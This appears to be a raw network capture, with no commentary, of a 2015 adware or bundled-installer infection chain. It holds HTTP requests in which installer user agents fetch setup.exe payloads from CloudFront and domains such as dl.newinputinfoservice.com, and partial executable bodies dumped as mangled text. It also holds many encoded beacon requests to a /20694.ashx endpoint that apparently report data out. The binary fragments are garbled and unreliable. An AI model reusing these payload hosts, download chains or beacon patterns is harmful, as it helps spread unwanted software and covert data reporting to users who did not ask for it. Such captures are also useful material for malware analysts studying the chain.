....M......hZ.I...F..Y.j....I..(....M..h~.I..iF..Y......hhvJ....M.....
.h..I..IF..Y.hhvJ....M......h..I...F..Y.hhvJ.. .M..x...h..I...F..Y
<<< skipped >>>

GET /ytai.exe HTTP/1.1


Range: bytes=500000-749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3dle8xo1zpfnz.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Tue, 06 Jan 2015 08:54:57 GMT
Accept-Ranges: bytes
ETag: "76e36b728e29d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:40 GMT
Content-Range: bytes 500000-749999/1206160
X-Cache: Miss from cloudfront
Via: 1.1 1415e6a9d308119037d1fa89386da72a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: IwBYXPVF1FGIhdFGu0U-JhtRECdkNzUrTI7TE_j6j-aohIliJvjnPw==
HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..
Content-Length: 250000..Connection: keep-alive..Cache-Control: no-cach
e..Last-Modified: Tue, 06 Jan 2015 08:54:57 GMT..Accept-Ranges: bytes.
.ETag: "76e36b728e29d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: A
SP.NET..Date: Thu, 12 Feb 2015 05:32:40 GMT..Content-Range: bytes 5000
00-749999/1206160..X-Cache: Miss from cloudfront..Via: 1.1 1415e6a9d30
8119037d1fa89386da72a.cloudfront.net (CloudFront)..X-Amz-Cf-Id: IwBYXP
VF1FGIhdFGu0U-JhtRECdkNzUrTI7TE_j6j-aohIliJvjnPw==..PQ..tM.3.P.E.d....
..M..E.P........P.(\.....P.M...^...E......M..........E......E..M.d....
..Y..]..................U..Q.M..M.......E.P.H......P.M.......E...]....
..U..Q.E......}..u..$.}.fff.w.kE.(P.].......E..}..u.......E...]...U..Q
.E......}..u..$.}.I.$.w.kE..P.........E..}..u.......E...]...U..j.h .I.
d.....PQ.. SVW..tM.3.P.E.d......e..M..M...}...E..E.P............M.Q...
.........E......U.R.H.......E..E.P.9.......E..M.Q.*.......E..U.R......
...E..E.P.M.......E..M.Q.U.R.E.P.M.Q..~.....P.M..UT.....U.R.M..w...j.j
.......1.G...E........E......E..M.d......Y_^[..][email protected]
.. SVW..tM.3.P.E.d......e..M..M...z...E..E.P............M.Q...........
.E......U.R.8~......E..E.P.)~......E..M.Q..~......E..U.R.........E..E.
P.M.......E..M.Q.U.R.E.P.M.Q..}.....P.M...P.....U.R.M..g...j.j.......A
.G...E........E......E..M.d......Y_^[..]....U..j.h`.I.d.....PQ.. SVW..
tM.3.P.E.d......e..M..M...y...E..E.P............M.Q............E......
U.R.(}......E..E.P..}......E..M.Q..}......E..U.R.........E..E.P.M.
<<< skipped >>>


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Content-Type: application/octet-stream
Content-Length: 1286728
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Tue, 10 Feb 2015 09:27:20 GMT
Accept-Ranges: bytes
ETag: "da4bdcc41345d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:02 GMT
X-Cache: Miss from cloudfront
Via: 1.1 3f22ccb0670a6dfd48cff193a28e878c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: ZtY7myTCLDA-dNl6dA0tXiFHlQ4ZbuwpR0mlURo6ZJToFwOHhbSPHw==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>


GET /smt2b/all/hat/row/setup.exe HTTP/1.1
User-Agent: NSIS_Inetc (Mozilla)
Host: dl.newinputinfoservice.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Thu, 12 Feb 2015 05:33:35 GMT
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1423713628"
Last-Modified: Thu, 12 Feb 2015 04:00:28 GMT
Cache-Control: max-age=1625
Content-Length: 205784
Content-Type: application/x-msdownload
X-HW: 1423719216.dop001.am4.t,1423719215.cds045.am4.c
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......'...c.l.c.l.
c.l..&..p.l..&....l..&..L.l.j...d.l.c.m...l.....k.l.....b.l.Richc.l...
......PE..L......T.................Z..........d&.......p....0.........
.................`..............................................T...P.
...................................w..8...............................
@............p...............................text....Y.......Z........
.......... ..`.rdata..v....p.......^..............@[email protected]......
....................@.................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
.............................................U...E..8.u.3.][email protected].
 .].....2..U...E..V......2.t.V.{...Y..^]...U...U..A.;B.u...;[email protected].
]...U...E..U....H.]...U..QQ.u....u..U.R.P............U...E.;H.u...;E.u
[email protected].]......2...8:2..6...Q.u..e.......Y.....2..E.Q.M..|....e...M..E
......E.d...........W92......QV...u..M...E......2.t.V.....Y.M...^d....
.......W92......Q.M..M......2..M.d...........2...8:2......Q.e..W3.G9}.
u..M.h..2.........u..u..$....e...M..}..E._d...........q92..A...QV...u.
.M...E......2.t.V.....Y.M...^d.............2...8:2......Q.u..e....
<<< skipped >>>


GET /smt2b/all/hat/row/setup.exe_e HTTP/1.1
Host: dl.ourgendataservice.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Thu, 12 Feb 2015 05:33:37 GMT
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1423713610"
Last-Modified: Thu, 12 Feb 2015 04:00:10 GMT
Cache-Control: max-age=1628
Content-Length: 2622764
Content-Type: text/plain
X-HW: 1423719217.dop005.am4.t,1423719217.cds036.am4.c
..?.S.$.[.x..s`...{ l..y...Wd.O...w.~..0.......,..Nl.V0.z.].i..y..O.eb
...v...............;...Cs...K5.%y......1P.Dr.{......z.r....`x."...0...
...o..XO....s.m.....$.......D)7..T<2u.....v.\..p{...K.;......T....0
_..". ..wz$..*5..........^..........=/a`H.x.BSl.........\[email protected].
...K..}# %....Q....G. ......v.(.{..v. ..t.W...Yf>.&"...Z.i....A....
..il.Z..0~...-.C...g.Z...-b..l.*..0'/.oe0.\ ............m.-tQ.'.p...N.
'q...r'lX...H ''.#........:.[.$..x.U....nV..GN..Lr..-p......>NH.}6.
K.X2b6%......n..f...C..`....W.1.. .yf...=........&t.i&.h....Ulg.,h...8
. <...:&b..".Q......4.re7:...G...dK........Dd....,...S.no...^..si&g
t;.*.E...s..O.3:.s.Q$;W..L...5U........w....../h....)._3..G.r.:J.?E...
.`........ ...0LI..>...8R..i...%[email protected]...
.;o...;./..R..vq....|.#..ZBV...x...\....RH..'[email protected] j;.. %y..
h%......?...KT>[email protected](A...O<...P....E...^-.$.....-.......h
._..z..d.UU..a....[u..oW....`.Aw...d....hq.L>..,.....&].-..k.l.B..\
..9.v..S..@...{.. ....-}...9x...4...2..M.l.........yo..Wq..$...L.[..l.
.$...5..1<'..H..f.'s.i ...Za...E..Q.G1...h....Ld......%u.....~...M.
R...\]....>.g....f=.<....1....&..Kv.J...y......K..M..fGz..d...e.
.B....T...O....ECv1.?N..2p.........78...WUy/H...........L@. ..q.U.Z..N
....O=|.......V..I.I.W......I.\..a)3......h._..y..j.7...H..N..x...s.&l
t;.^..>`..)t.?j.<.....9y.\W.........h..@?J.._.....X4y........T4.
.,.G:ABM............wt:*o..'...].H..%>.1....}.~p|.e.eC...........z.
J......k.U.N.&.....M.C.ME.....t.D.. Ls...,M..u8.(...%.f...P.....x.
<<< skipped >>>


GET /20694.ashx?e=4mC0vXGWFtrPpyTTOfle7DVo9pvdtEJBOI8Rz6lttmP8ln8Iap23//2TEkHeJNDU9z6MsirOygDlcAXTaV9SImUl0xzv/1Q1DyhRDL0PLalNTvXaKqGxaNCUHeR8YCF3uoYeE0rOcJFt02cS7rp/agTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4  HSf3cKA3e4YdyjH0= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:23 GMT
X-Cache: Miss from cloudfront
Via: 1.1 da44a033908207250002410c047e8764.cloudfront.net (CloudFront)
X-Amz-Cf-Id: k2F4l_YiFeTAbhUJFj3VHCG3_UEdptyDOUB972-qYzZGTpTtwgS3Pg==
....


GET /20694.ashx?e=AZwPyJy3TZi4/9HrRpQ3bDVo9pvdtEJBMgYijsrP77X8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTp6/ 5R/l3e4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9GLJNFKept W3bwyJuwJoGyeY/e3xqcYN4S9axy8Rwa3X4l9XCm/Va9mPCGseo97LkKspGXq5ZiVjgb6v7cXpPuImJZrYkhmTozwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NSz/6R0iPpUTwI3P/RqpmhvYhJ4R9eJ8wpns0vHcnbOr0sLNKYVmdZ/A= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:45 GMT
X-Cache: Miss from cloudfront
Via: 1.1 da44a033908207250002410c047e8764.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 7OxVbI5PSRhE9P6_sRGscyFOeO3PzjFL9pkvvcuWZxB651HzdY5HaA==
....


GET /20694.ashx?e=AZwPyJy3TZi4/9HrRpQ3bDVo9pvdtEJBMgYijsrP77X8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTp6/ 5R/l3e4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9GLJNFKept W3bwyJuwJoGyeY/e3xqcYN4S9axy8Rwa3X4l9XCm/Va m0xPwkWqeELO4NVqCHrKTs IILilpWF3Yz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW QTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4  HSf3c17G8X1negC9ViA7TIcAcS2uf iN/0r 6ONUMNHWzot8A49CBIcTDb4bpIdHF2rYy8Pe6HNVF8wmF8KpepynoFA== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:23 GMT
X-Cache: Miss from cloudfront
Via: 1.1 da44a033908207250002410c047e8764.cloudfront.net (CloudFront)
X-Amz-Cf-Id: kQwgcEuV5JOKjswbGFzWZlGo-7o5aRr65yo-Bj2DAGAvOEU5fRj2LA==
....


GET /20694.ashx?e=AZwPyJy3TZi4/9HrRpQ3bDVo9pvdtEJBMgYijsrP77X8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTp6/ 5R/l3e4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9GLJNFKept W3bwyJuwJoGyeY/e3xqcYN4S9axy8Rwa3X4l9XCm/Va/SiuwmdYQ9dwenF3E77x/HKYX3Ti/i3YP dzgnUBx9/Wjc3bWflJqtv R58jhZDUvHJC LVSJKV6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tQCStN3CXsH1z3Wq2vKHOHM18XJvxFXM1O iRnR3GvMMqGqHUvozE8Qrc0TxT28VE8= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:23 GMT
X-Cache: Miss from cloudfront
Via: 1.1 da44a033908207250002410c047e8764.cloudfront.net (CloudFront)
X-Amz-Cf-Id: obTSKVu-BQpjUNjSJTOV7KRqb4cLBsqvq9XwGkBUHtXGlXBQYGAw4Q==
....


GET /20694.ashx?e=AZwPyJy3TZi4/9HrRpQ3bDVo9pvdtEJBMgYijsrP77X8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTp6/ 5R/l3e4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9GLJNFKept W3bwyJuwJoGyeY/e3xqcYN4S9axy8Rwa3X4l9XCm/Va9MPpNra519lzs1eJiiYYwojgb6v7cXpPvbiGjjio4NqpcQqJAqvU1Umua4LEJhhF3iLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WXmaQNf6DIaqngAvucBSqn702VyaB 7AkjWpbcM/74ilvCUuR096lKp HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:45 GMT
X-Cache: Miss from cloudfront
Via: 1.1 da44a033908207250002410c047e8764.cloudfront.net (CloudFront)
X-Amz-Cf-Id: faLI3V457rILz2Ax3yOaXdfkChAtPOYWkmoFlSJRZ3y-94JDd38Nkw==
....


GET /20694.ashx?e=AZwPyJy3TZi4/9HrRpQ3bDVo9pvdtEJBMgYijsrP77X8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTp6/ 5R/l3e4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9GLJNFKept W3bwyJuwJoGyeY/e3xqcYN4S9axy8Rwa3X4l9XCm/Va/GBdpOSxhWVkVmCwhd6chxidm qgH7yZay6h3LXmO/KYqYyeeQ3tOz2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2nH5ZYU55Dzftf0zISs1zlcOHguxSl/CI4 9WnJbE3TF7rxlgtDF9pjRUuDy4QIvRw== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:46 GMT
X-Cache: Miss from cloudfront
Via: 1.1 da44a033908207250002410c047e8764.cloudfront.net (CloudFront)
X-Amz-Cf-Id: N2ls0QHvfEWsRe7cBouSEgt5kqOBPtLxW3lVfi5-jgLyYcL1Z85x2g==
....


GET /20694.ashx?e=AZwPyJy3TZi4/9HrRpQ3bDVo9pvdtEJBMgYijsrP77X8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTp6/ 5R/l3e4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9GLJNFKept W3bwyJuwJoGyeY/e3xqcYN4S9axy8Rwa3X4l9XCm/Va91Q6BhL4ofYRQC drCF7eF7LQ fMG3nUOoTeqbC3Z0rIzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NSz/6R0iPpUTwI3P/RqpmhvYhJ4R9eJ8wpns0vHcnbOr0sLNKYVmdZ/A= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:24 GMT
X-Cache: Miss from cloudfront
Via: 1.1 da44a033908207250002410c047e8764.cloudfront.net (CloudFront)
X-Amz-Cf-Id: ZfQzKsa8P_2sc0mgzZDEfjDUQltPo5CXXPjY0q_qIoLzGK8Bj1DejA==
....


GET /20694.ashx?e=AZwPyJy3TZi4/9HrRpQ3bDVo9pvdtEJBMgYijsrP77X8ln8Iap23/32Fnk7oJCBmfl0yK7ww8bTp6/ 5R/l3e4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9GLJNFKept W3bwyJuwJoGyeY/e3xqcYN4S9axy8Rwa3X4l9XCm/Va/q965piIXltRQC drCF7eFysWDrahxHN1nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4Up1VbWmyBfgb4WG3ooMgX XPHFqz5 GHdhpMSkztb5C9DaYoBWJ7FPB HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:46 GMT
X-Cache: Miss from cloudfront
Via: 1.1 da44a033908207250002410c047e8764.cloudfront.net (CloudFront)
X-Amz-Cf-Id: TUC429dDkKremCVFs771ieN8b-hT5gfaZSy3eevgg8CahNvqqQcvaA==
....


GET /20694.ashx?e=eFCD8T/coidPNjxRBLtb48iYRbVloAnW/WD6e6SZIIExLHUkaU066zsPf/PibBcq1wBJ9VIvGMY41Qw0dbOi3wDj0IEhxMNvhukh0cXatjLw97oc1UXzCVvTLI4Bf0k1PxTwT5yepn4wCMs1qkdSo8P1KF7KzFZ YCpHZc9ZUaE9M9DFMEq dQTxIUcsgQ wQ1V8jD1/9CmtYGP8lbxXf8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfc2l ha66tvUgpx3XeR1Dp7OBGnL40M1tCKrCQNpvqPPPg5ZgbzKdXM= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:46 GMT
X-Cache: Miss from cloudfront
Via: 1.1 da44a033908207250002410c047e8764.cloudfront.net (CloudFront)
X-Amz-Cf-Id: -Vc_WxFrc2ky0s0W-JE6hHX4WHO_21j3lVWKfiNDlmcRB9Phpylk3Q==
....


GET /20694.ashx?e=eFCD8T/coidPNjxRBLtb48iYRbVloAnW/WD6e6SZIIExLHUkaU066zsPf/PibBcq1wBJ9VIvGMY41Qw0dbOi3wDj0IEhxMNvhukh0cXatjLw97oc1UXzCVvTLI4Bf0k1PxTwT5yepn4wCMs1qkdSo8P1KF7KzFZ YCpHZc9ZUaFauHVJPRpz7BQC drCF7eFNKi8z8Pj2nJ/Of1VTlRDPh0Xkjmrfrln7YYdA 6NHJnMOf/uUofLPn8XP 2KKeMU66BvNwpbNqIcyxjb7yeqZLHjDTPh9NKhBoIe Q7libfUyvMFk8ry6fMl7CyXcaP2Up7XwfOPtsDfsjJGkYd1uXeUpSjjYG888bFRwZXWy318jND4gr dsPQLzyLMtOuD98VNsw1snm1qh7b9qBNFiATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4  HSf3c17G8X1negC9ViA7TIcAcS2uf iN/0r 6ONUMNHWzot8A49CBIcTDb4bpIdHF2rYy8Pe6HNVF8wmF8KpepynoFA== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:24 GMT
X-Cache: Miss from cloudfront
Via: 1.1 da44a033908207250002410c047e8764.cloudfront.net (CloudFront)
X-Amz-Cf-Id: UDdY632F7z3hQynU7T2Jyv7oPF06jQ3J4cin_uGVCZJZH746Yf5grw==
....


GET /20694.ashx?e=eFCD8T/coidPNjxRBLtb48iYRbVloAnW/WD6e6SZIIExLHUkaU066zsPf/PibBcq1wBJ9VIvGMY41Qw0dbOi3wDj0IEhxMNvhukh0cXatjLw97oc1UXzCVvTLI4Bf0k1PxTwT5yepn4wCMs1qkdSo8P1KF7KzFZ YCpHZc9ZUaFXs9sbgOmK8XSpt9GSHWXQP lJ0sv/YOYo/Vto7IfmWOHBo7F03Fys4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVl5mkDX gyGqp4AL7nAUqp 9NlcmgfuwJI1qW3DP  IpbwlLkdPepSqQ== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:24 GMT
X-Cache: Miss from cloudfront
Via: 1.1 da44a033908207250002410c047e8764.cloudfront.net (CloudFront)
X-Amz-Cf-Id: Dl2sHrsnCgrv7q7MXyx1Ep0cLLy8ZnsnXzr1Efm-jKAPMiZS5FTAvg==
....


GET /20694.ashx?e=s5Ydxb c7o1PNjxRBLtb48iYRbVloAnW/WD6e6SZIIExLHUkaU066zsPf/PibBcq1wBJ9VIvGMY41Qw0dbOi3wDj0IEhxMNvhukh0cXatjLw97oc1UXzCVvTLI4Bf0k1PxTwT5yepn4wCMs1qkdSo8P1KF7KzFZ YCpHZc9ZUaFTUkN5UKYy3QTxIUcsgQ wxQcgloBwSmMMxMRWUkdQZU7l01ouN0CWyQEOJXfTD3M5pP236R990NjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29px WWFOeQ837X9MyErNc5XDh4LsUpfwiOPvVpyWxN0xe68ZYLQxfaY0VLg8uECL0c= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:46 GMT
X-Cache: Miss from cloudfront
Via: 1.1 da44a033908207250002410c047e8764.cloudfront.net (CloudFront)
X-Amz-Cf-Id: awj-po_kDMYUx9OvEyW_uQAduesHQqF_mT4d7cHDTunVp8gya2pKvw==
....


GET /20694.ashx?e=eISsn0A7mAZPNjxRBLtb437DLUVG yVS/WD6e6SZIIExLHUkaU066zsPf/PibBcq1wBJ9VIvGMY41Qw0dbOi3wDj0IEhxMNvhukh0cXatjLw97oc1UXzCVvTLI4Bf0k1PxTwT5yepn4wCMs1qkdSo2Cu3v20uVgOYCpHZc9ZUaFTUkN5UKYy3QTxIUcsgQ wxQcgloBwSmP18uFGU5uC/aaLAE3zuIJ88SJA d bWCF57ufhnf2/kIzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NSz/6R0iPpUTwI3P/RqpmhvYhJ4R9eJ8wpns0vHcnbOr0sLNKYVmdZ/A= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:25 GMT
X-Cache: Miss from cloudfront
Via: 1.1 da44a033908207250002410c047e8764.cloudfront.net (CloudFront)
X-Amz-Cf-Id: XabV7ZReawSSV4-T2PPNvjvuq8SveOM65oT8ZLwfeIp1qgUuDSOVFQ==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Thu, 12 Feb 2015 05:32:25 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 da44a033908207250002410c047e87
64.cloudfront.net (CloudFront)..X-Amz-Cf-Id: XabV7ZReawSSV4-T2PPNvjvuq
8SveOM65oT8ZLwfeIp1qgUuDSOVFQ==......


GET /20694.ashx?e=QHucCbLl /bcrHBJLG9UX7XVZuuo/0077OXLse4BafTbQC nVTu53h5TX6K4Kv02PaM0kMp6 2891qtryhzhzNfFyb8RVzNTvokZ0dxrzDKhqh1L6MxPEHzF4heDka0HAn5VjwTD4wbco4b1ol1gsepjq8Lm1w1UGK5E2bFODYZiuGpx ZVZ8ATxIUcsgQ wQ1V8jD1/9CkZtQFdZJbneATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4  HSf3c17G8X1negC9ViA7TIcAcS2uf iN/0r 6ONUMNHWzot8A49CBIcTDb4bpIdHF2rYy8Pe6HNVF8wmF8KpepynoFA== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:25 GMT
X-Cache: Miss from cloudfront
Via: 1.1 da44a033908207250002410c047e8764.cloudfront.net (CloudFront)
X-Amz-Cf-Id: cDsSG2Jw3xaMReTyPTv-FVche9-eGo6IAlACa-3znYvrZY1k9CiUzA==
HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Thu, 12 Feb 2015 05:32:25 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 da44a033908207250002410c047e87
64.cloudfront.net (CloudFront)..X-Amz-Cf-Id: cDsSG2Jw3xaMReTyPTv-FVche
9-eGo6IAlACa-3znYvrZY1k9CiUzA==......


GET /20694.ashx?e=t4TV4yXs13MhwgnRr/y OBPn9tRW/pAxQF3UKsSdb2tZNgLaUTJ6JCEdbCsTxXU3FtDAINbKEVaCnHdd5HUOns4EacvjQzW0IqsJA2m o88T9GHqOOQufbxTD5wywOJP/u6z7Uinv/gbnLNIgSQerWiZCCrzprTQVjr4IQgU6/2DXhWyoO7dFSmF904v4t2DPC6dAY858uZ1EOpD0PZTf2damvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhSnVVtabIF BvhYbeigyBf5c8cWrPn4Yd2GkxKTO1vkL0NpigFYnsU8E= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:26 GMT
X-Cache: Miss from cloudfront
Via: 1.1 da44a033908207250002410c047e8764.cloudfront.net (CloudFront)
X-Amz-Cf-Id: op7OT8HXB2ki6WFafltVAH-GFVzV4xTFEocEAQEJ0sDZrRcZZVhdww==
....


